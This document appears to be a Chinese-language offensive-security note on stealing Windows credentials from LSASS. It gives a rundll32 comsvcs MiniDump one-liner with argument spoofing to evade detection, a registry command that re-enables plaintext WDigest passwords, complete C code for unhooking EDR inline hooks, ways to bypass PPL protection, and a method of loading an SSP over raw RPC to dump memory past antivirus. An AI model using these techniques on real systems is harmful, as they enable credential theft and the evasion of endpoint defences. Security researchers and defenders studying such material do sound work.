List [CTL]
Credentials storage
From MSDN:
- Security Accounts Manager database(SAM)
- ( No password is ever stored in a SAM database—only the password hashes. )
- LSASS process memory
- Reversibly encrypted plaintext
- Kerberos tickets (TGTs, service tickets)
- NT hash
- LM hash
- LSA secrets on the hard disk driver
- Account password for the computer’s AD DS account
- Account passwords for Windows services that are configured on the computer
- Account passwords for configured scheduled tasks
- Account passwords for IIS application pools and websites
- AD DS database(NTDS.dit)
- ( Writable DC has a full copy of AD DS database, RODCs has a subset of the accounts, do not have a copy of privileged domain accounts )
- NT hash for the current password
- NT hashes for password history (if configured)
- Credential Manager store
- ( Stored on the hard disk drive, protected by DPAPI )
对于工作组环境的账户凭据,仅需关注SAM和lsass,对于SAM,则通过文件系统(卷影复制)或注册表来获取hash,不赘述
Dump LSASS
dbgcore!MiniDumpWriteDump
该API可Dump进程内存,生成转储文件
BOOL MiniDumpWriteDump(
hProcess,
dwProcessId,
hFile,
MiniDumpWithFullMemory,
NULL, NULL, NULL
);
dbghelp!MiniDumpWriteDump
指向dbgcore!MiniDumpWriteDump
comsvcs!MiniDump
该函数为MiniDumpWriteDump
的封装
签名,前两个参数未使用,第三个参数为"[PID] [FILENAME] [Mode]"
格式的字符串
HRESULT WINAPI MiniDumpW(DWORD, DWORD, PWCHAR);
rundll32
的entrypoint签名是
void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
所以可以直接白名单利用,配合CommanLine参数欺骗更佳(参数欺骗见https://github.com/EddieIvan01/win32api-practice/tree/master/argument-spoofer)
rundll32 comsvcs.dll MiniDump [PID] 1.bin full
.\argument-spoofer.exe "rundll32 comsvcs.dll MiniDump [PID] 1.bin full"
ntdll!NtReadVirtualMemory
说到底MiniDumpWriteDump
也只是读取进程虚拟内存并解析结构化数据,到R3最底层还是通过NtReadVirtualMemory
系统调用,所以完全可以读取后自行解析,这样就可以消除MiniDump
API的特征
(没有代码,解析结构工作量挺大的,而且意义不大,EDR更可能会针对NtReadVirtualMemory
对抗
Disable WDigest SSP
在低版本中,Mimikatz的WDigest模块能够从lsass中抓取到明文密码
因为Wdigest SSP的认证是challenge/response机制,而response的计算需要明文密码而不是hash(见n1nty-Mimikatz_WDigest),所以lsass进程中需要保存明文密码
response = md5(md5(username + realm + password) + nonce + md5(method + digestURI))
在安装KB2871997后,可配置禁用WDigest SSP(高版本默认禁用),lsass进程不再保存明文密码,见link
配置启用WDigest,修改注册表后重启
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
API Inline Hook
针对内存Dump,部分EDR会inline-hook关键函数,例如ntdll!NtReadVirtualMemory
通过对比内存和磁盘上DLL中函数的字节码,检测并解除inline-hook
完整代码见https://github.com/EddieIvan01/win32api-practice/tree/master/procdump
这里使用了VirtualProtect
,也有很大概率被Hook,可以参考这篇文章,通过直接系统调用,也就是直接用syscall instruction去调用NtProtectVirtualMemory
系统调用
BOOL CheckAPIHookedAndTryUnHook(WCHAR* lpDllFileName, CHAR* pAPIName) {
HANDLE hDllFile = CreateFile(
lpDllFileName,
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
);
if (hDllFile == INVALID_HANDLE_VALUE)
return FALSE;
HANDLE hDllFileMapping = CreateFileMapping(hDllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
VOID* pDllFileMappingBase = MapViewOfFile(hDllFileMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(hDllFile);
// https://0xpat.github.io/Malware_development_part_2/
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pDllFileMappingBase;
IMAGE_NT_HEADERS* pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDllFileMappingBase + pDosHeader->e_lfanew);
IMAGE_OPTIONAL_HEADER* pOptionalHeader = (IMAGE_OPTIONAL_HEADER*)&(pNtHeader->OptionalHeader);
IMAGE_EXPORT_DIRECTORY* pExportDirectory = (IMAGE_EXPORT_DIRECTORY*)
((BYTE*)pDllFileMappingBase + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
ULONG* pAddressOfFunctions = (ULONG*)((BYTE*)pDllFileMappingBase + pExportDirectory->AddressOfFunctions);
ULONG* pAddressOfNames = (ULONG*)((BYTE*)pDllFileMappingBase + pExportDirectory->AddressOfNames);
USHORT* pAddressOfNameOrdinals = (USHORT*)((BYTE*)pDllFileMappingBase + pExportDirectory->AddressOfNameOrdinals);
VOID* pAPIProcOriginal = NULL;
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
CHAR* pFunctionName = (BYTE*)pDllFileMappingBase + pAddressOfNames[i];
if (!strcmp(pFunctionName, pAPIName)) {
pAPIProcOriginal = (VOID*)((BYTE*)pDllFileMappingBase + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
break;
}
}
if (pAPIProcOriginal == NULL)
return FALSE;
DWORD dwSlashIndex = 0;
for (DWORD i = wcslen(lpDllFileName); i > 0; i--) {
if (lpDllFileName[i] == L'\\') {
dwSlashIndex = i + 1;
break;
}
}
VOID* pAPIProc = GetProcAddress(GetModuleHandle(lpDllFileName + dwSlashIndex), pAPIName);
if (pAPIProc == NULL)
return FALSE;
if (memcmp(pAPIProc, pAPIProcOriginal, 5)) {
wprintf(L"%s!%S is hooked, try unhook\n", lpDllFileName + dwSlashIndex, pAPIName);
DWORD dwOldProtect;
DWORD dwTmpProtect;
if (!VirtualProtect(pAPIProc, 5, PAGE_READWRITE, &dwOldProtect))
return FALSE;
memcpy(pAPIProc, pAPIProcOriginal, 5);
if (!VirtualProtect(pAPIProc, 5, dwOldProtect, &dwTmpProtect))
return FALSE;
return TRUE;
}
else
wprintf(L"%s!%S is not hooked\n", lpDllFileName + dwSlashIndex, pAPIName);
return TRUE;
}
PPL
Windows8.1后引入了PPL(Protected Process Light)。对于lsass进程来说,type=PsProtectedTypeProtectedLight
和signer=PsProtectedSignerLsa
注册表配置
PS C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
RunAsPPL REG_DWORD 0x1
当lsass配置RunAsPPL时,可以防止读取内存和注入代码。具体来说,以QUERY_INFORMATION
或VM_READ
打开进程句柄时会返回error code 5(Access denied),无论操作者权限多高
第一种方法,修改注册表(删除RunAsPPL项)后重启
第二种方法,因为要读写系统内存,所以只能通过内核模式的驱动程序来操作。除了利用mimidrv.sys,还有:RedCursorSecurityConsulting/PPLKiller 和 Mattiwatti/PPLKiller
AV Process Protection
AV(如卡巴斯基)的加固方式其实我并不清楚,猜测可能是R0层的Hook(SSDT),检测对LSASS的内存读取
xpn的Blog中提到的方法
思路为:
通过
AddSecurityProvider
添加一个SSP,不需要重启系统,但会需要修改注册表,因为该API调用成功后会添加DLL到HKLM\System\CurrentControlSet\Control\Lsa
SECURITY_STATUS SEC_ENTRY AddSecurityPackage( LPSTR pszPackageName, PSECURITY_PACKAGE_OPTIONS pOptions );
该SSP(DLL)被加载到lsass进程中,Dump自身内存
通过步骤1里
AddSecurityProvider
加载的DLL,可被EnumerateSecurityPackages
枚举,且AddSecurityPackage
中有一些多余的操作/校验(例如注册表项)。因为本质上该API的功能是通过RPC来操作lsass进程的,所以可以直接使用raw RPC call来完成AddSecurityPackage
的功能
修改后的版本:https://github.com/EddieIvan01/win32api-practice/tree/master/dump-lsass-via-rpc-addssp